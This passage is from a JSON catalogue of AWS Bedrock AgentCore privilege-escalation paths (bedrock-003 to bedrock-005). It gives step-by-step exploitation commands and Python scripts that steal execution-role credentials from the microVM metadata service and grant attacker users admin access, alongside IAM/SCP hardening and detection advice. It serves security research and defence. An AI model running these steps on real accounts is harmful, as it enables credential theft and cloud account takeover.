          "type": "outcome",
          "color": "#ffeb99",
          "description": "The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would target a different role."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "agent_runtime",
          "label": "iam:PassRole + bedrock-agentcore:CreateAgentRuntime",
          "description": "Create a new AgentCore Runtime and pass the target role to it as the execution role. The runtime runs on a Firecracker microVM with access to MMDS.\n\nCommand:\n```bash\naws bedrock-agentcore-control create-agent-runtime \\\n  --agent-runtime-name atk_runtime \\\n  --role-arn $EXECUTION_ROLE \\\n  --agent-runtime-artifact '{\"containerConfiguration\":{\"containerUri\":\"<attacker-ecr-uri>\"}}' \\\n  --network-configuration '{\"networkMode\":\"PUBLIC\"}'\n```\n"
        },
        {
          "from": "agent_runtime",
          "to": "target_role",
          "label": "Runtime assumes the execution role",
          "description": "AgentCore assumes the passed execution role and serves its temporary credentials on the MicroVM Metadata Service at http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> inside the runtime microVM. The role name is not known in advance, so it must be discovered with a GET to the security-credentials path first. The runtime must also reach a READY state, pollable with bedrock-agentcore:GetAgentRuntime, before MMDS reliably serves credentials and before InvokeAgentRuntimeCommand will succeed."
        },
        {
          "from": "target_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "branch": "A",
          "description": "The attacker submits a command that uses the role credentials in place from the root shell to perform privileged actions directly."
        },
        {
          "from": "target_role",
          "to": "method_cred_exfil",
          "label": "Option B",
          "branch": "B",
          "description": "The attacker submits a command that reads the role credentials from MMDS and returns them in the response stream for use from any location."
        },
        {
          "from": "method_sdk_attack",
          "to": "admin",
          "label": "If the execution role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent, the in-place command grants the starting principal full administrative access, for example by attaching admin policies or creating admin access keys."
        },
        {
          "from": "method_sdk_attack",
          "to": "some_perms",
          "label": "If the execution role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions, the in-place command can still grant useful additional access within the role permission scope or reach sensitive resources."
        },
        {
          "from": "method_sdk_attack",
          "to": "no_access",
          "label": "If the execution role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the in-place command cannot perform meaningful privilege escalation and the attacker would pass a different role."
        },
        {
          "from": "method_cred_exfil",
          "to": "admin",
          "label": "If the execution role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent, the exfiltrated credentials give the attacker full administrative access to the AWS account from any location."
        },
        {
          "from": "method_cred_exfil",
          "to": "some_perms",
          "label": "If the execution role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions, the exfiltrated credentials can be used for lateral movement or additional attacks."
        },
        {
          "from": "method_cred_exfil",
          "to": "no_access",
          "label": "If the execution role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the exfiltrated credentials provide limited value for privilege escalation."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-15T19:04:36Z",
      "lastUpdated": "2026-08-24T13:22:24Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "MrCloudSec",
          "email": "sgarcia@beyondtrust.com",
          "githubUsername": "MrCloudSec"
        }
      ]
    },
    "filePath": "data/paths/bedrock/bedrock-003.yaml"
  },
  {
    "id": "bedrock-004",
    "name": "bedrock-agentcore:InvokeAgentRuntimeCommand",
    "category": "existing-passrole",
    "services": [
      "bedrock-agentcore"
    ],
    "description": "A principal with `bedrock-agentcore:InvokeAgentRuntimeCommand` can run a shell command as root inside the Firecracker microVM of an existing AgentCore Runtime or Harness, parallel to the customer agent process and bypassing the agent, model and guardrails entirely. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS, granting the attacker the full permissions of the role already attached to that resource. This path does not require `iam:PassRole` because the role is already attached to the existing resource. Harness is AgentCore Runtime with a managed agent layer on top, so the same single permission applies to both resource types. Only resources using IAM as their Inbound Auth type are affected; resources configured to use JSON Web Tokens (JWT) reject the call.",
    "prerequisites": {
      "admin": [
        "An AgentCore Runtime or Harness must exist with an IAM execution role attached",
        "The resource must use IAM as its Inbound Auth type (resources configured to use JWT reject InvokeAgentRuntimeCommand)",
        "The execution role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An AgentCore Runtime or Harness must exist with an IAM execution role attached",
        "The resource must use IAM as its Inbound Auth type"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws bedrock-agentcore-control list-agent-runtimes\naws bedrock-agentcore-control list-harnesses\n",
          "description": "List existing runtimes and harnesses to find targets with privileged execution roles"
        },
        {
          "step": 2,
          "command": "aws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID",
          "description": "Check the resource's execution role ARN to confirm elevated permissions, and note the runtime or harness ARN to target"
        },
        {
          "step": 3,
          "command": "cat << 'EOF' > \"get_creds_from_runtime.py\"\nimport boto3, sys, uuid\nclient = boto3.client(\"bedrock-agentcore\", region_name=sys.argv[2])\n\ncommand = \"\"\"bash -c '\nTOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\nROLE_NAME=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/)\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME\n'\"\"\"\n\n# sys.argv[1] is the existing runtime ARN or harness ARN\nresponse = client.invoke_agent_runtime_command(\n  agentRuntimeArn=sys.argv[1],\n  runtimeSessionId=str(uuid.uuid4()),\n  body={\"command\": command, \"timeout\": 30},\n)\nfor event in response[\"stream\"]:\n  chunk = event[\"chunk\"]\n  if \"contentDelta\" in chunk and \"stdout\" in chunk[\"contentDelta\"]:\n    print(chunk[\"contentDelta\"][\"stdout\"], end=\"\")\nEOF\n",
          "description": "Create the python file that submits a root shell command reading the execution role credentials from MMDS on the existing resource. The attacker rarely knows the execution role's alias in advance, so the command first queries the security-credentials path with no name to discover it, then fetches the credential document at the role-specific path, mirroring the EC2 IMDS credential-discovery pattern"
        },
        {
          "step": 4,
          "command": "CREDS=$(python3 get_creds_from_runtime.py $TARGET_ARN $AWS_REGION)\necho export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r \".AccessKeyId\")\necho export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r \".SecretAccessKey\")\necho export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r \".Token\")\n",
          "description": "Run the python file against the existing runtime or harness ARN to extract the execution role credentials"
        },
        {
          "step": 5,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 4>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 4>\nexport AWS_SESSION_TOKEN=<Token from step 4>\naws sts get-caller-identity\n",
          "description": "Use the stolen credentials to act as the resource execution role"
        }
      ]
    },
    "recommendation": "Restrict `bedrock-agentcore:InvokeAgentRuntimeCommand` using resource-level constraints, and treat it as a command-execution gate equivalent to root on the runtime microVM.\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"bedrock-agentcore:InvokeAgentRuntimeCommand\",\n  \"Resource\": \"arn:aws:bedrock-agentcore:REGION:ACCOUNT_ID:runtime/SpecificRuntime\"\n}\n```\n\nIn AWS Organizations, deny the permission org-wide except for an approved allowlist with an SCP:\n\n```json\n{\n  \"Effect\": \"Deny\",\n  \"Action\": \"bedrock-agentcore:InvokeAgentRuntimeCommand\",\n  \"Resource\": \"*\",\n  \"Condition\": {\n    \"ArnNotLike\": {\n      \"aws:PrincipalArn\": \"arn:aws:iam::*:role/ApprovedAgentCoreOperators\"\n    }\n  }\n}\n```\n\nAdditional controls:\n- Any policy granting the `bedrock-agentcore:*` wildcard includes this permission, including the AWS managed BedrockAgentCoreFullAccess policy; audit principals that hold it\n- Enable CloudTrail data events for the `AWS::BedrockAgentCore::Runtime` and `RuntimeEndpoint` resource types (Harness manages a Runtime under the hood, so both are covered by these types)\n- The auto-created `/aws/bedrock-agentcore/runtimes/<runtimeId>-DEFAULT` CloudWatch log group records the body of every submitted command; alert on entries that touch 169.254.169.254 or security-credentials\n- Scope every AgentCore execution role to least privilege so a stolen role steals nothing it could not already do\n- Regularly audit execution roles attached to existing runtimes and harnesses, including the Console-provisioned default service roles\n",
    "limitations": "This path provides administrative access only if the target resource execution role has administrative permissions. The attacker gains whatever permissions the resource role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Sergio Garcia",
        "organization": "BeyondTrust Phantom Labs",
        "date": 2026,
        "link": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      },
      "derivativeOf": {
        "pathId": "bedrock-003",
        "modification": "Targets an existing Runtime or Harness instead of creating one, eliminating the need for iam:PassRole and the bedrock-agentcore Create permissions; the single InvokeAgentRuntimeCommand permission covers both resource types because Harness manages a Runtime under the hood"
      }
    },
    "references": [
      {
        "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
        "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      },
      {
        "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
      },
      {
        "title": "AgentCore Harness Environment and Skills",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness-environment.html"
      },
      {
        "title": "AgentCore Runtime command execution security best practices",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-security-best-practices.html"
      }
    ],
    "relatedPaths": [
      "bedrock-002",
      "bedrock-003",
      "bedrock-005",
      "ec2-002",
      "lambda-003"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/bedrockagentcore-invokeagentcommand",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "bedrock-agentcore:InvokeAgentRuntimeCommand",
          "resourceConstraints": "Target runtime or harness must be in the Resource section and must use IAM as its Inbound Auth type"
        }
      ],
      "additional": [
        {
          "permission": "bedrock-agentcore:ListAgentRuntimes",
          "resourceConstraints": "List the runtimes that already exist"
        },
        {
          "permission": "bedrock-agentcore:GetAgentRuntime",
          "resourceConstraints": "Identify the execution role and Inbound Auth type of a target resource"
        }
      ]
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L314"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with bedrock-agentcore:InvokeAgentRuntimeCommand. Can be an IAM user or role. This attack targets an existing runtime or harness rather than creating one, so iam:PassRole is not required."
        },
        {
          "id": "agent_resource",
          "label": "Existing Runtime or Harness",
          "type": "resource",
          "description": "An existing AgentCore Runtime or Harness with a privileged execution role already attached, using IAM as its Inbound Auth type. The resource runs on a Firecracker microVM with access to the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS."
        },
        {
          "id": "execution_role",
          "label": "Resource Execution Role",
          "type": "principal",
          "description": "The IAM role attached to the runtime or harness as its execution role. A command submitted through InvokeAgentRuntimeCommand runs as root in the microVM with this role's credentials available on MMDS at the execution_role endpoint. This role must trust bedrock-agentcore.amazonaws.com in its trust policy."
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Act directly from the root shell",
          "type": "payload",
          "color": "#99ccff",
          "description": "The submitted command runs as root inside the microVM where the execution role credentials are already present, so the attacker can perform privileged actions in place without exfiltrating anything.\n\nExample command body invoked through InvokeAgentRuntimeCommand:\n```bash\naws iam attach-user-policy \\\n  --user-name attacker-user \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n"
        },
        {
          "id": "method_cred_exfil",
          "label": "Method 2: Exfiltrate credentials to the response stream",
          "type": "payload",
          "color": "#99ccff",
          "description": "The submitted command reads the execution role credentials from MMDS and prints them, and AgentCore returns the output in the response stream so the attacker can use the credentials from any location. Since the attacker typically does not know the execution role's alias in advance, the command first queries the security-credentials path with no name to discover it, then fetches the full credential document at the role-specific path, the same two-step pattern used to exfiltrate credentials from EC2's IMDS.\n\nExample command body invoked through InvokeAgentRuntimeCommand:\n```bash\nTOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\nROLE_NAME=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/)\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME\n```\n\nThis returns AccessKeyId, SecretAccessKey and Token, which the attacker can export and use until they expire.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The resource execution role has AdministratorAccess or equivalent permissions, so acting as the role or using its exfiltrated credentials gives the attacker full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained."
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would target a different resource."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "agent_resource",
          "label": "Target existing runtime or harness",
          "description": "Identify an existing runtime or harness that has a privileged execution role attached and uses IAM Inbound Auth. Use the list and get control-plane calls to discover candidates and confirm their execution role.\n\nCommands:\n```bash\naws bedrock-agentcore-control list-agent-runtimes\naws bedrock-agentcore-control list-harnesses\naws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID\n```\n"
        },
        {
          "from": "agent_resource",
          "to": "execution_role",
          "label": "bedrock-agentcore:InvokeAgentRuntimeCommand",
          "description": "The attacker submits a shell command that runs as root inside the microVM, parallel to the agent process and bypassing the agent, model and guardrails. The command has access to the execution role credentials through MMDS."
        },
        {
          "from": "execution_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "branch": "A",
          "description": "The attacker submits a command that uses the role credentials in place from the root shell to perform privileged actions directly."
        },
        {
          "from": "execution_role",
          "to": "method_cred_exfil",
          "label": "Option B",
          "branch": "B",
          "description": "The attacker submits a command that reads the role credentials from MMDS and returns them in the response stream for use from any location."
        },
        {
          "from": "method_sdk_attack",
          "to": "admin",
          "label": "If the execution role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent, the in-place command grants the starting principal full administrative access, for example by attaching admin policies or creating admin access keys."
        },
        {
          "from": "method_sdk_attack",
          "to": "some_perms",
          "label": "If the execution role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions, the in-place command can still grant useful additional access within the role permission scope or reach sensitive resources."
        },
        {
          "from": "method_sdk_attack",
          "to": "no_access",
          "label": "If the execution role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the in-place command cannot perform meaningful privilege escalation and the attacker would target a different resource."
        },
        {
          "from": "method_cred_exfil",
          "to": "admin",
          "label": "If the execution role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent, the exfiltrated credentials give the attacker full administrative access to the AWS account from any location."
        },
        {
          "from": "method_cred_exfil",
          "to": "some_perms",
          "label": "If the execution role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the execution role has some elevated permissions, the exfiltrated credentials can be used for lateral movement or additional attacks."
        },
        {
          "from": "method_cred_exfil",
          "to": "no_access",
          "label": "If the execution role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the exfiltrated credentials provide limited value for privilege escalation."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-15T19:04:36Z",
      "lastUpdated": "2026-08-24T13:22:24Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "MrCloudSec",
          "email": "sgarcia@beyondtrust.com",
          "githubUsername": "MrCloudSec"
        }
      ]
    },
    "filePath": "data/paths/bedrock/bedrock-004.yaml"
  },
  {
    "id": "bedrock-005",
    "name": "iam:PassRole + bedrock-agentcore:CreateHarness + bedrock-agentcore:CreateAgentRuntime + bedrock-agentcore:CreateAgentRuntimeEndpoint + bedrock-agentcore:CreateWorkloadIdentity + bedrock-agentcore:GetAgentRuntime + bedrock-agentcore:GetHarness + bedrock-agentcore:InvokeAgentRuntimeCommand",
    "category": "new-passrole",
    "services": [
      "iam",
      "bedrock-agentcore"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section and the role must trust bedrock-agentcore.amazonaws.com"
        },
        {
          "permission": "bedrock-agentcore:CreateHarness",
          "resourceConstraints": "Must have permission to create Bedrock AgentCore harnesses"
        },
        {
          "permission": "bedrock-agentcore:CreateAgentRuntime",
          "resourceConstraints": "CreateHarness provisions a Runtime under the hood, which requires this permission"
        },
        {
          "permission": "bedrock-agentcore:CreateAgentRuntimeEndpoint",
          "resourceConstraints": "Required to create the runtime endpoint the harness uses"
        },
        {
          "permission": "bedrock-agentcore:CreateWorkloadIdentity",
          "resourceConstraints": "Required to create the workload identity the underlying runtime needs"
        },
        {
          "permission": "bedrock-agentcore:GetAgentRuntime",
          "resourceConstraints": "Required to resolve the runtime that CreateHarness provisions before invoking it"
        },
        {
          "permission": "bedrock-agentcore:GetHarness",
          "resourceConstraints": "Required to poll the harness status until it reaches READY before invoking commands"
        },
        {
          "permission": "bedrock-agentcore:InvokeAgentRuntimeCommand",
          "resourceConstraints": "Must have permission to invoke commands on the created harness"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering AgentCore execution roles available to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "description": "A principal with `iam:PassRole`, `bedrock-agentcore:CreateHarness` and the supporting create and invoke permissions can deploy a new AgentCore Harness with a privileged IAM execution role and then run shell commands as root inside its Firecracker microVM. Harness is AgentCore Runtime with a managed agent layer on top (model, tools, memory, observability), and `CreateHarness` provisions a Runtime under the hood, which is why the chain also needs the runtime create permissions and `GetAgentRuntime`. `InvokeAgentRuntimeCommand` runs as root parallel to the managed agent loop, bypassing the agent, model and guardrails, and reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS. Creating the harness rather than targeting an existing one lets the attacker pick exactly which role to escalate to.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "At least one Bedrock foundation model must be enabled in the account (required at CreateHarness time to specify which model backs the Harness; the model is never invoked by the attack)"
      ],
      "lateral": [
        "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
        "At least one Bedrock foundation model must be enabled in the account (required at CreateHarness time to specify which model backs the Harness; the model is never invoked by the attack)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "export AWS_REGION=[your region]\nexport EXECUTION_ROLE=arn:aws:iam::[account-id]:role/[role with admin privs that trusts bedrock-agentcore]\nexport MODEL_ID=[a Bedrock model id available in the account]\nwhich jq\n",
          "description": "Set up session variables and confirm jq is installed"
        },
        {
          "step": 2,
          "command": "CREATE_OUTPUT=$(aws bedrock-agentcore-control create-harness \\\n  --harness-name atk_harness \\\n  --execution-role-arn $EXECUTION_ROLE \\\n  --model \"{\\\"bedrockModelConfig\\\":{\\\"modelId\\\":\\\"$MODEL_ID\\\"}}\" \\\n  --memory '{\"disabled\":{}}')\nHARNESS_ARN=$(echo \"$CREATE_OUTPUT\" | jq -r .harness.arn)\nHARNESS_ID=$(echo \"$CREATE_OUTPUT\" | jq -r .harness.harnessId)\n",
          "description": "Create a harness with the privileged execution role. CreateHarness provisions a runtime, endpoint and workload identity under the hood, hence the longer permission chain. Memory is disabled because the attack never uses the managed agent loop"
        },
        {
          "step": 3,
          "command": "while true; do\n  STATUS=$(aws bedrock-agentcore-control get-harness \\\n    --harness-id $HARNESS_ID --query 'harness.status' --output text)\n  [ \"$STATUS\" = \"READY\" ] && break\n  sleep 15\ndone\n",
          "description": "Poll the harness until it reaches READY state. The underlying runtime takes a few minutes to provision, and InvokeAgentRuntimeCommand fails until it is ready"
        },
        {
          "step": 4,
          "command": "cat << 'EOF' > \"get_creds_from_harness.py\"\nimport boto3, sys, uuid\nclient = boto3.client(\"bedrock-agentcore\", region_name=sys.argv[2])\n\ndef run(cmd):\n  response = client.invoke_agent_runtime_command(\n    agentRuntimeArn=sys.argv[1],\n    runtimeSessionId=str(uuid.uuid4()),\n    body={\"command\": cmd, \"timeout\": 30},\n  )\n  out = \"\"\n  for event in response[\"stream\"]:\n    chunk = event[\"chunk\"]\n    if \"contentDelta\" in chunk and \"stdout\" in chunk[\"contentDelta\"]:\n      out += chunk[\"contentDelta\"][\"stdout\"]\n  return out\n\n# The execution role's MMDS alias is not necessarily known in advance, so\n# discover it before fetching credentials, mirroring EC2 IMDS role discovery.\ntoken_and_role = run(\"\"\"bash -c '\nTOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\necho $TOKEN\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/\n'\"\"\")\ntoken, role_name = token_and_role.strip().split(\"\\n\")\n\ncreds = run(f\"\"\"bash -c '\ncurl -s -H \"X-aws-ec2-metadata-token: {token}\" http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}\n'\"\"\")\nprint(creds, end=\"\")\nEOF\n",
          "description": "Create the python file that first discovers the execution role's name from MMDS, then submits a root shell command reading its temporary credentials"
        },
        {
          "step": 5,
          "command": "CREDS=$(python3 get_creds_from_harness.py $HARNESS_ARN $AWS_REGION)\necho export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r \".AccessKeyId\")\necho export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r \".SecretAccessKey\")\necho export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r \".Token\")\n",
          "description": "Run the python file using the $HARNESS_ARN to extract the execution role credentials"
        },
        {
          "step": 6,
          "command": "export AWS_ACCESS_KEY_ID=<AccessKeyId from step 5>\nexport AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 5>\nexport AWS_SESSION_TOKEN=<Token from step 5>\naws sts get-caller-identity\n",
          "description": "Use the stolen credentials to act as the harness execution role"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful. The `bedrock-agentcore:InvokeAgentRuntimeCommand` permission then runs arbitrary commands as root inside the harness microVM, bypassing the managed agent loop, model and guardrails.\n\n- **Avoid administrative service roles** - Very rarely does an AgentCore Harness need administrative access. Use the principle of least privilege and start from AWS's documented harness execution role policy.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n- **Constrain `bedrock-agentcore:InvokeAgentRuntimeCommand`** - Treat it as a command-execution gate equivalent to root on the microVM and deny it org-wide except for an approved allowlist.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificAgentCoreHarnessRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"bedrock-agentcore.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Enable CloudTrail data events for the `AWS::BedrockAgentCore::Runtime` and `RuntimeEndpoint` resource types; Harness manages a Runtime under the hood, so these types capture the harness command invocations\n- The auto-created `/aws/bedrock-agentcore/runtimes/<runtimeId>-DEFAULT` CloudWatch log group records the body of every submitted command; alert on entries that touch 169.254.169.254 or security-credentials\n- Monitor CloudTrail for harness creation followed by immediate invocation, and for harnesses created by principals who do not usually deploy AgentCore\n- Monitor CloudTrail for roles being passed to bedrock-agentcore that have not been passed before\n- Regularly audit all IAM roles that trust bedrock-agentcore.amazonaws.com, including the Console-provisioned harness default service role, and down-scope any with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Sergio Garcia",
        "organization": "BeyondTrust Phantom Labs",
        "date": 2026,
        "link": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      },
      "derivativeOf": {
        "pathId": "bedrock-003",
        "modification": "Targets a Harness instead of a bare Runtime; CreateHarness provisions a Runtime under the hood so the chain adds CreateHarness and GetAgentRuntime, but the credential theft via InvokeAgentRuntimeCommand and MMDS is identical"
      }
    },
    "references": [
      {
        "title": "Mapping Every Privilege Escalation Path in AWS AgentCore",
        "url": "https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation"
      },
      {
        "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
      },
      {
        "title": "Amazon Bedrock AgentCore Harness",
        "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness.html"
      }
    ],
    "relatedPaths": [
      "bedrock-003",
      "bedrock-004",
      "ec2-001",
      "sagemaker-001"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L324"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+bedrockagentcore-createharness",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole and the bedrock-agentcore create and invoke permissions. Can be an IAM user or role. This is the attacker's initial access point."
        },
        {
          "id": "harness",
          "label": "New AgentCore Harness",
          "type": "resource",
          "description": "A new AgentCore Harness created with a privileged execution role. CreateHarness provisions a Runtime under the hood that runs on a Firecracker microVM and exposes the role credentials on the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS."
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the bedrock-agentcore Service",
          "type": "principal",
          "description": "The IAM role passed to the harness as its execution role. The role must trust bedrock-agentcore.amazonaws.com to assume it. AgentCore assumes the role, waits for the harness to reach READY, and then serves its temporary credentials on MMDS at a security-credentials endpoint named after the role inside the microVM. The attacker discovers this name by requesting the security-credentials path with no role name before fetching credentials, mirroring EC2 IMDS role discovery."
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Act directly from the root shell",
          "type": "payload",
          "color": "#99ccff",
          "description": "The submitted command runs as root inside the microVM where the execution role credentials are already present, so the attacker can perform privileged actions in place without exfiltrating anything.\n\nExample command body invoked through InvokeAgentRuntimeCommand:\n```bash\naws iam attach-user-policy \\\n  --user-name attacker-user \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n"
        },
        {
          "id": "method_cred_exfil",
          "label": "Method 2: Exfiltrate credentials to the response stream",
          "type": "payload",
          "color": "#99ccff",
          "description": "The submitted command reads the execution role credentials from MMDS and prints them, and AgentCore returns the output in the response stream so the attacker can use the credentials from any location.\n\nExample command body invoked through InvokeAgentRuntimeCommand:\n```bash\nTOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\nROLE_NAME=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/)\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME\n```\n\nThis returns AccessKeyId, SecretAccessKey and Token, which the attacker can export and use until they expire.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
